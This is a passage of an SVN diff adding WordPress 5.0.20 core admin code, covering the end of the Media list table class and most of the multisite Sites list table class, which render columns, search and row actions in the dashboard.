+		 * Filters the Media list table columns.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $posts_columns An array of columns displayed in the Media list table.
+		 * @param bool  $detached      Whether the list table contains media not attached
+		 *                             to any posts. Default true.
+		 */
+		return apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'title'    => 'title',
+			'author'   => 'author',
+			'parent'   => 'parent',
+			'comments' => 'comment_count',
+			'date'     => array( 'date', true ),
+		);
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_cb( $post ) {
+		if ( current_user_can( 'edit_post', $post->ID ) ) { ?>
+			<label class="screen-reader-text" for="cb-select-<?php echo $post->ID; ?>"><?php
+				echo sprintf( __( 'Select %s' ), _draft_or_post_title() );
+			?></label>
+			<input type="checkbox" name="media[]" id="cb-select-<?php echo $post->ID; ?>" value="<?php echo $post->ID; ?>" />
+		<?php }
+	}
+
+	/**
+	 * Handles the title column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_title( $post ) {
+		list( $mime ) = explode( '/', $post->post_mime_type );
+
+		$title = _draft_or_post_title();
+		$thumb = wp_get_attachment_image( $post->ID, array( 60, 60 ), true, array( 'alt' => '' ) );
+		$link_start = $link_end = '';
+
+		if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
+			$link_start = sprintf(
+				'<a href="%s" aria-label="%s">',
+				get_edit_post_link( $post->ID ),
+				/* translators: %s: attachment title */
+				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) )
+			);
+			$link_end = '</a>';
+		}
+
+		$class = $thumb ? ' class="has-media-icon"' : '';
+		?>
+		<strong<?php echo $class; ?>>
+			<?php
+			echo $link_start;
+			if ( $thumb ) : ?>
+				<span class="media-icon <?php echo sanitize_html_class( $mime . '-icon' ); ?>"><?php echo $thumb; ?></span>
+			<?php endif;
+			echo $title . $link_end;
+			_media_states( $post );
+			?>
+		</strong>
+		<p class="filename">
+			<span class="screen-reader-text"><?php _e( 'File name:' ); ?> </span>
+			<?php
+			$file = get_attached_file( $post->ID );
+			echo esc_html( wp_basename( $file ) );
+			?>
+		</p>
+		<?php
+	}
+
+	/**
+	 * Handles the author column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_author( $post ) {
+		printf( '<a href="%s">%s</a>',
+			esc_url( add_query_arg( array( 'author' => get_the_author_meta('ID') ), 'upload.php' ) ),
+			get_the_author()
+		);
+	}
+
+	/**
+	 * Handles the description column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_desc( $post ) {
+		echo has_excerpt() ? $post->post_excerpt : '';
+	}
+
+	/**
+	 * Handles the date column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_date( $post ) {
+		if ( '0000-00-00 00:00:00' === $post->post_date ) {
+			$h_time = __( 'Unpublished' );
+		} else {
+			$m_time = $post->post_date;
+			$time = get_post_time( 'G', true, $post, false );
+			if ( ( abs( $t_diff = time() - $time ) ) < DAY_IN_SECONDS ) {
+				if ( $t_diff < 0 ) {
+					$h_time = sprintf( __( '%s from now' ), human_time_diff( $time ) );
+				} else {
+					$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
+				}
+			} else {
+				$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
+			}
+		}
+
+		echo $h_time;
+	}
+
+	/**
+	 * Handles the parent column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_parent( $post ) {
+		$user_can_edit = current_user_can( 'edit_post', $post->ID );
+
+		if ( $post->post_parent > 0 ) {
+			$parent = get_post( $post->post_parent );
+		} else {
+			$parent = false;
+		}
+
+		if ( $parent ) {
+			$title = _draft_or_post_title( $post->post_parent );
+			$parent_type = get_post_type_object( $parent->post_type );
+
+			if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) {
+?>
+				<strong><a href="<?php echo get_edit_post_link( $post->post_parent ); ?>">
+					<?php echo $title ?></a></strong><?php
+			} elseif ( $parent_type && current_user_can( 'read_post', $post->post_parent ) ) {
+?>
+				<strong><?php echo $title ?></strong><?php
+			} else {
+				_e( '(Private post)' );
+			}
+
+			if ( $user_can_edit ):
+				$detach_url = add_query_arg( array(
+					'parent_post_id' => $post->post_parent,
+					'media[]' => $post->ID,
+					'_wpnonce' => wp_create_nonce( 'bulk-' . $this->_args['plural'] )
+				), 'upload.php' );
+				printf(
+					'<br /><a href="%s" class="hide-if-no-js detach-from-parent" aria-label="%s">%s</a>',
+					$detach_url,
+					/* translators: %s: title of the post the attachment is attached to */
+					esc_attr( sprintf( __( 'Detach from &#8220;%s&#8221;' ), $title ) ),
+					__( 'Detach' )
+				);
+			endif;
+		} else {
+			_e( '(Unattached)' ); ?>
+			<?php if ( $user_can_edit ) {
+				$title = _draft_or_post_title( $post->post_parent );
+				printf(
+					'<br /><a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
+					$post->ID,
+					/* translators: %s: attachment title */
+					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $title ) ),
+					__( 'Attach' )
+				);
+			}
+		}
+	}
+
+	/**
+	 * Handles the comments column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_comments( $post ) {
+		echo '<div class="post-com-count-wrapper">';
+
+		if ( isset( $this->comment_pending_count[ $post->ID ] ) ) {
+			$pending_comments = $this->comment_pending_count[ $post->ID ];
+		} else {
+			$pending_comments = get_pending_comments_num( $post->ID );
+		}
+
+		$this->comments_bubble( $post->ID, $pending_comments );
+
+		echo '</div>';
+	}
+
+	/**
+	 * Handles output for the default column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post        The current WP_Post object.
+	 * @param string  $column_name Current column name.
+	 */
+	public function column_default( $post, $column_name ) {
+		if ( 'categories' === $column_name ) {
+			$taxonomy = 'category';
+		} elseif ( 'tags' === $column_name ) {
+			$taxonomy = 'post_tag';
+		} elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) {
+			$taxonomy = substr( $column_name, 9 );
+		} else {
+			$taxonomy = false;
+		}
+
+		if ( $taxonomy ) {
+			$terms = get_the_terms( $post->ID, $taxonomy );
+			if ( is_array( $terms ) ) {
+				$out = array();
+				foreach ( $terms as $t ) {
+					$posts_in_term_qv = array();
+					$posts_in_term_qv['taxonomy'] = $taxonomy;
+					$posts_in_term_qv['term'] = $t->slug;
+
+					$out[] = sprintf( '<a href="%s">%s</a>',
+						esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
+						esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
+					);
+				}
+				/* translators: used between list items, there is a space after the comma */
+				echo join( __( ', ' ), $out );
+			} else {
+				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . get_taxonomy( $taxonomy )->labels->no_terms . '</span>';
+			}
+
+			return;
+		}
+
+		/**
+		 * Fires for each custom column in the Media list table.
+		 *
+		 * Custom columns are registered using the {@see 'manage_media_columns'} filter.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $column_name Name of the custom column.
+		 * @param int    $post_id     Attachment ID.
+		 */
+		do_action( 'manage_media_custom_column', $column_name, $post->ID );
+	}
+
+	/**
+	 *
+	 * @global WP_Post $post
+	 */
+	public function display_rows() {
+		global $post, $wp_query;
+
+		$post_ids = wp_list_pluck( $wp_query->posts, 'ID' );
+		reset( $wp_query->posts );
+
+		$this->comment_pending_count = get_pending_comments_num( $post_ids );
+
+		add_filter( 'the_title','esc_html' );
+
+		while ( have_posts() ) : the_post();
+			if (
+				( $this->is_trash && $post->post_status != 'trash' )
+				|| ( ! $this->is_trash && $post->post_status === 'trash' )
+			) {
+				continue;
+			}
+			$post_owner = ( get_current_user_id() == $post->post_author ) ? 'self' : 'other';
+		?>
+			<tr id="post-<?php echo $post->ID; ?>" class="<?php echo trim( ' author-' . $post_owner . ' status-' . $post->post_status ); ?>">
+				<?php $this->single_row_columns( $post ); ?>
+			</tr>
+		<?php
+		endwhile;
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'title'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'title';
+	}
+
+	/**
+	 * @param WP_Post $post
+	 * @param string  $att_title
+	 *
+	 * @return array
+	 */
+	private function _get_row_actions( $post, $att_title ) {
+		$actions = array();
+
+		if ( $this->detached ) {
+			if ( current_user_can( 'edit_post', $post->ID ) ) {
+				$actions['edit'] = sprintf(
+					'<a href="%s" aria-label="%s">%s</a>',
+					get_edit_post_link( $post->ID ),
+					/* translators: %s: attachment title */
+					esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
+					__( 'Edit' )
+				);
+			}
+			if ( current_user_can( 'delete_post', $post->ID ) ) {
+				if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
+					$actions['trash'] = sprintf(
+						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
+						wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ),
+						/* translators: %s: attachment title */
+						esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
+						_x( 'Trash', 'verb' )
+					);
+				} else {
+					$delete_ays = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
+					$actions['delete'] = sprintf(
+						'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
+						wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ),
+						$delete_ays,
+						/* translators: %s: attachment title */
+						esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
+						__( 'Delete Permanently' )
+					);
+				}
+			}
+			$actions['view'] = sprintf(
+				'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
+				get_permalink( $post->ID ),
+				/* translators: %s: attachment title */
+				esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
+				__( 'View' )
+			);
+
+			if ( current_user_can( 'edit_post', $post->ID ) ) {
+				$actions['attach'] = sprintf(
+					'<a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
+					$post->ID,
+					/* translators: %s: attachment title */
+					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $att_title ) ),
+					__( 'Attach' )
+				);
+			}
+		}
+		else {
+			if ( current_user_can( 'edit_post', $post->ID ) && !$this->is_trash ) {
+				$actions['edit'] = sprintf(
+					'<a href="%s" aria-label="%s">%s</a>',
+					get_edit_post_link( $post->ID ),
+					/* translators: %s: attachment title */
+					esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
+					__( 'Edit' )
+				);
+			}
+			if ( current_user_can( 'delete_post', $post->ID ) ) {
+				if ( $this->is_trash ) {
+					$actions['untrash'] = sprintf(
+						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
+						wp_nonce_url( "post.php?action=untrash&amp;post=$post->ID", 'untrash-post_' . $post->ID ),
+						/* translators: %s: attachment title */
+						esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $att_title ) ),
+						__( 'Restore' )
+					);
+				} elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
+					$actions['trash'] = sprintf(
+						'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
+						wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ),
+						/* translators: %s: attachment title */
+						esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
+						_x( 'Trash', 'verb' )
+					);
+				}
+				if ( $this->is_trash || ! EMPTY_TRASH_DAYS || ! MEDIA_TRASH ) {
+					$delete_ays = ( !$this->is_trash && !MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';
+					$actions['delete'] = sprintf(
+						'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
+						wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ),
+						$delete_ays,
+						/* translators: %s: attachment title */
+						esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
+						__( 'Delete Permanently' )
+					);
+				}
+			}
+			if ( ! $this->is_trash ) {
+				$actions['view'] = sprintf(
+					'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
+					get_permalink( $post->ID ),
+					/* translators: %s: attachment title */
+					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
+					__( 'View' )
+				);
+			}
+		}
+
+		/**
+		 * Filters the action links for each attachment in the Media list table.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array   $actions  An array of action links for each attachment.
+		 *                          Default 'Edit', 'Delete Permanently', 'View'.
+		 * @param WP_Post $post     WP_Post object for the current attachment.
+		 * @param bool    $detached Whether the list table contains media not attached
+		 *                          to any posts. Default true.
+		 */
+		return apply_filters( 'media_row_actions', $actions, $post, $this->detached );
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $post        Attachment being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string Row actions output for media attachments.
+	 */
+	protected function handle_row_actions( $post, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+		$att_title = _draft_or_post_title();
+		return $this->row_actions( $this->_get_row_actions( $post, $att_title ) );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-ms-sites-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-ms-sites-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-ms-sites-list-table.php	(revision 56912)
@@ -0,0 +1,559 @@
+<?php
+/**
+ * List Table API: WP_MS_Sites_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying sites in a list table for the network admin.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_MS_Sites_List_Table extends WP_List_Table {
+
+	/**
+	 * Site status list.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	public $status_list;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		$this->status_list = array(
+			'archived' => array( 'site-archived', __( 'Archived' ) ),
+			'spam'     => array( 'site-spammed', _x( 'Spam', 'site' ) ),
+			'deleted'  => array( 'site-deleted', __( 'Deleted' ) ),
+			'mature'   => array( 'site-mature', __( 'Mature' ) )
+		);
+
+		parent::__construct( array(
+			'plural' => 'sites',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( 'manage_sites' );
+	}
+
+	/**
+	 * Prepares the list of sites for display.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global string $s
+	 * @global string $mode
+	 * @global wpdb   $wpdb
+	 */
+	public function prepare_items() {
+		global $s, $mode, $wpdb;
+
+		if ( ! empty( $_REQUEST['mode'] ) ) {
+			$mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list';
+			set_user_setting( 'sites_list_mode', $mode );
+		} else {
+			$mode = get_user_setting( 'sites_list_mode', 'list' );
+		}
+
+		$per_page = $this->get_items_per_page( 'sites_network_per_page' );
+
+		$pagenum = $this->get_pagenum();
+
+		$s = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST[ 's' ] ) ) : '';
+		$wild = '';
+		if ( false !== strpos($s, '*') ) {
+			$wild = '*';
+			$s = trim($s, '*');
+		}
+
+		/*
+		 * If the network is large and a search is not being performed, show only
+		 * the latest sites with no paging in order to avoid expensive count queries.
+		 */
+		if ( !$s && wp_is_large_network() ) {
+			if ( !isset($_REQUEST['orderby']) )
+				$_GET['orderby'] = $_REQUEST['orderby'] = '';
+			if ( !isset($_REQUEST['order']) )
+				$_GET['order'] = $_REQUEST['order'] = 'DESC';
+		}
+
+		$args = array(
+			'number'     => intval( $per_page ),
+			'offset'     => intval( ( $pagenum - 1 ) * $per_page ),
+			'network_id' => get_current_network_id(),
+		);
+
+		if ( empty($s) ) {
+			// Nothing to do.
+		} elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) ||
+					preg_match( '/^[0-9]{1,3}\.$/', $s ) ) {
+			// IPv4 address
+			$sql = $wpdb->prepare( "SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE %s", $wpdb->esc_like( $s ) . ( ! empty( $wild ) ? '%' : '' ) );
+			$reg_blog_ids = $wpdb->get_col( $sql );
+
+			if ( $reg_blog_ids ) {
+				$args['site__in'] = $reg_blog_ids;
+			}
+		} elseif ( is_numeric( $s ) && empty( $wild ) ) {
+			$args['ID'] = $s;
+		} else {
+			$args['search'] = $s;
+
+			if ( ! is_subdomain_install() ) {
+				$args['search_columns'] = array( 'path' );
+			}
+		}
+
+		$order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : '';
+		if ( 'registered' === $order_by ) {
+			// registered is a valid field name.
+		} elseif ( 'lastupdated' === $order_by ) {
+			$order_by = 'last_updated';
+		} elseif ( 'blogname' === $order_by ) {
+			if ( is_subdomain_install() ) {
+				$order_by = 'domain';
+			} else {
+				$order_by = 'path';
+			}
+		} elseif ( 'blog_id' === $order_by ) {
+			$order_by = 'id';
+		} elseif ( ! $order_by ) {
+			$order_by = false;
+		}
+
+		$args['orderby'] = $order_by;
+
+		if ( $order_by ) {
+			$args['order'] = ( isset( $_REQUEST['order'] ) && 'DESC' === strtoupper( $_REQUEST['order'] ) ) ? "DESC" : "ASC";
+		}
+
+		if ( wp_is_large_network() ) {
+			$args['no_found_rows'] = true;
+		} else {
+			$args['no_found_rows'] = false;
+		}
+
+		/**
+		 * Filters the arguments for the site query in the sites list table.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array $args An array of get_sites() arguments.
+		 */
+		$args = apply_filters( 'ms_sites_list_table_query_args', $args );
+
+		$_sites = get_sites( $args );
+		if ( is_array( $_sites ) ) {
+			update_site_cache( $_sites );
+
+			$this->items = array_slice( $_sites, 0, $per_page );
+		}
+
+		$total_sites = get_sites( array_merge( $args, array(
+			'count' => true,
+			'offset' => 0,
+			'number' => 0,
+		) ) );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_sites,
+			'per_page' => $per_page,
+		) );
+	}
+
+	/**
+	 */
+	public function no_items() {
+		_e( 'No sites found.' );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( current_user_can( 'delete_sites' ) )
+			$actions['delete'] = __( 'Delete' );
+		$actions['spam'] = _x( 'Mark as Spam', 'site' );
+		$actions['notspam'] = _x( 'Not Spam', 'site' );
+
+		return $actions;
+	}
+
+	/**
+	 * @global string $mode List table view mode.
+	 *
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		global $mode;
+
+		parent::pagination( $which );
+
+		if ( 'top' === $which )
+			$this->view_switcher( $mode );
+	}
+
+	/**
+	 * @return array
+	 */
+	public function get_columns() {
+		$sites_columns = array(
+			'cb'          => '<input type="checkbox" />',
+			'blogname'    => __( 'URL' ),
+			'lastupdated' => __( 'Last Updated' ),
+			'registered'  => _x( 'Registered', 'site' ),
+			'users'       => __( 'Users' ),
+		);
+
+		if ( has_filter( 'wpmublogsaction' ) ) {
+			$sites_columns['plugins'] = __( 'Actions' );
+		}
+
+		/**
+		 * Filters the displayed site columns in Sites list table.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param array $sites_columns An array of displayed site columns. Default 'cb',
+		 *                             'blogname', 'lastupdated', 'registered', 'users'.
+		 */
+		return apply_filters( 'wpmu_blogs_columns', $sites_columns );
+	}
+
+	/**
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'blogname'    => 'blogname',
+			'lastupdated' => 'lastupdated',
+			'registered'  => 'blog_id',
+		);
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_cb( $blog ) {
+		if ( ! is_main_site( $blog['blog_id'] ) ) :
+			$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );
+		?>
+			<label class="screen-reader-text" for="blog_<?php echo $blog['blog_id']; ?>"><?php
+				printf( __( 'Select %s' ), $blogname );
+			?></label>
+			<input type="checkbox" id="blog_<?php echo $blog['blog_id'] ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ) ?>" />
+		<?php endif;
+	}
+
+	/**
+	 * Handles the ID column output.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_id( $blog ) {
+		echo $blog['blog_id'];
+	}
+
+	/**
+	 * Handles the site name column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_blogname( $blog ) {
+		global $mode;
+
+		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );
+		$blog_states = array();
+		reset( $this->status_list );
+
+		foreach ( $this->status_list as $status => $col ) {
+			if ( $blog[ $status ] == 1 ) {
+				$blog_states[] = $col[1];
+			}
+		}
+		$blog_state = '';
+		if ( ! empty( $blog_states ) ) {
+			$state_count = count( $blog_states );
+			$i = 0;
+			$blog_state .= ' &mdash; ';
+			foreach ( $blog_states as $state ) {
+				++$i;
+				$sep = ( $i == $state_count ) ? '' : ', ';
+				$blog_state .= "<span class='post-state'>$state$sep</span>";
+			}
+		}
+
+		?>
+		<strong>
+			<a href="<?php echo esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ); ?>" class="edit"><?php echo $blogname; ?></a>
+			<?php echo $blog_state; ?>
+		</strong>
+		<?php
+		if ( 'list' !== $mode ) {
+			switch_to_blog( $blog['blog_id'] );
+			echo '<p>';
+			printf(
+				/* translators: 1: site name, 2: site tagline. */
+				__( '%1$s &#8211; %2$s' ),
+				get_option( 'blogname' ),
+				'<em>' . get_option( 'blogdescription ' ) . '</em>'
+			);
+			echo '</p>';
+			restore_current_blog();
+		}
+	}
+
+	/**
+	 * Handles the lastupdated column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_lastupdated( $blog ) {
+		global $mode;
+
+		if ( 'list' === $mode ) {
+			$date = __( 'Y/m/d' );
+		} else {
+			$date = __( 'Y/m/d g:i:s a' );
+		}
+
+		echo ( $blog['last_updated'] === '0000-00-00 00:00:00' ) ? __( 'Never' ) : mysql2date( $date, $blog['last_updated'] );
+	}
+
+	/**
+	 * Handles the registered column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_registered( $blog ) {
+		global $mode;
+
+		if ( 'list' === $mode ) {
+			$date = __( 'Y/m/d' );
+		} else {
+			$date = __( 'Y/m/d g:i:s a' );
+		}
+
+		if ( $blog['registered'] === '0000-00-00 00:00:00' ) {
+			echo '&#x2014;';
+		} else {
+			echo mysql2date( $date, $blog['registered'] );
+		}
+	}
+
+	/**
+	 * Handles the users column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_users( $blog ) {
+		$user_count = wp_cache_get( $blog['blog_id'] . '_user_count', 'blog-details' );
+		if ( ! $user_count ) {
+			$blog_users = get_users( array( 'blog_id' => $blog['blog_id'], 'fields' => 'ID' ) );
+			$user_count = count( $blog_users );
+			unset( $blog_users );
+			wp_cache_set( $blog['blog_id'] . '_user_count', $user_count, 'blog-details', 12 * HOUR_IN_SECONDS );
+		}
+
+		printf(
+			'<a href="%s">%s</a>',
+			esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ),
+			number_format_i18n( $user_count )
+		);
+	}
+
+	/**
+	 * Handles the plugins column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $blog Current site.
+	 */
+	public function column_plugins( $blog ) {
+		if ( has_filter( 'wpmublogsaction' ) ) {
+			/**
+			 * Fires inside the auxiliary 'Actions' column of the Sites list table.
+			 *
+			 * By default this column is hidden unless something is hooked to the action.
+			 *
+			 * @since MU (3.0.0)
+			 *
+			 * @param int $blog_id The site ID.
+			 */
+			do_action( 'wpmublogsaction', $blog['blog_id'] );
+		}
+	}
+
+	/**
+	 * Handles output for the default column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array  $blog        Current site.
+	 * @param string $column_name Current column name.
+	 */
+	public function column_default( $blog, $column_name ) {
+		/**
+		 * Fires for each registered custom column in the Sites list table.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $column_name The name of the column to display.
+		 * @param int    $blog_id     The site ID.
+		 */
+		do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] );
+	}
+
+	/**
+	 *
+	 * @global string $mode
+	 */
+	public function display_rows() {
+		foreach ( $this->items as $blog ) {
+			$blog = $blog->to_array();
+			$class = '';
+			reset( $this->status_list );
+
+			foreach ( $this->status_list as $status => $col ) {
+				if ( $blog[ $status ] == 1 ) {
+					$class = " class='{$col[0]}'";
+				}
+			}
+
+			echo "<tr{$class}>";
+
+			$this->single_row_columns( $blog );
+
+			echo '</tr>';
+		}
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'blogname'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'blogname';
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $blog        Site being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string Row actions output.
+	 */
+	protected function handle_row_actions( $blog, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return;
+		}
+
+		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );
+
+		// Preordered.
+		$actions = array(
+			'edit' => '', 'backend' => '',
+			'activate' => '', 'deactivate' => '',
+			'archive' => '', 'unarchive' => '',
+			'spam' => '', 'unspam' => '',
+			'delete' => '',
+			'visit' => '',
+		);
+
+		$actions['edit']	= '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'Edit' ) . '</a>';
+		$actions['backend']	= "<a href='" . esc_url( get_admin_url( $blog['blog_id'] ) ) . "' class='edit'>" . __( 'Dashboard' ) . '</a>';
+		if ( get_network()->site_id != $blog['blog_id'] ) {
+			if ( $blog['deleted'] == '1' ) {
+				$actions['activate']   = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=activateblog&amp;id=' . $blog['blog_id'] ), 'activateblog_' . $blog['blog_id'] ) ) . '">' . __( 'Activate' ) . '</a>';
+			} else {
+				$actions['deactivate'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=deactivateblog&amp;id=' . $blog['blog_id'] ), 'deactivateblog_' . $blog['blog_id'] ) ) . '">' . __( 'Deactivate' ) . '</a>';
+			}
+
+			if ( $blog['archived'] == '1' ) {
+				$actions['unarchive'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=unarchiveblog&amp;id=' . $blog['blog_id'] ), 'unarchiveblog_' . $blog['blog_id'] ) ) . '">' . __( 'Unarchive' ) . '</a>';
+			} else {
+				$actions['archive']   = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=archiveblog&amp;id=' . $blog['blog_id'] ), 'archiveblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Archive', 'verb; site' ) . '</a>';
+			}
+
+			if ( $blog['spam'] == '1' ) {
+				$actions['unspam'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=unspamblog&amp;id=' . $blog['blog_id'] ), 'unspamblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Not Spam', 'site' ) . '</a>';
+			} else {
+				$actions['spam']   = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&amp;action2=spamblog&amp;id=' . $blog['blog_id'] ), 'spamblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Spam', 'site' ) . '</a>';
+			}
+
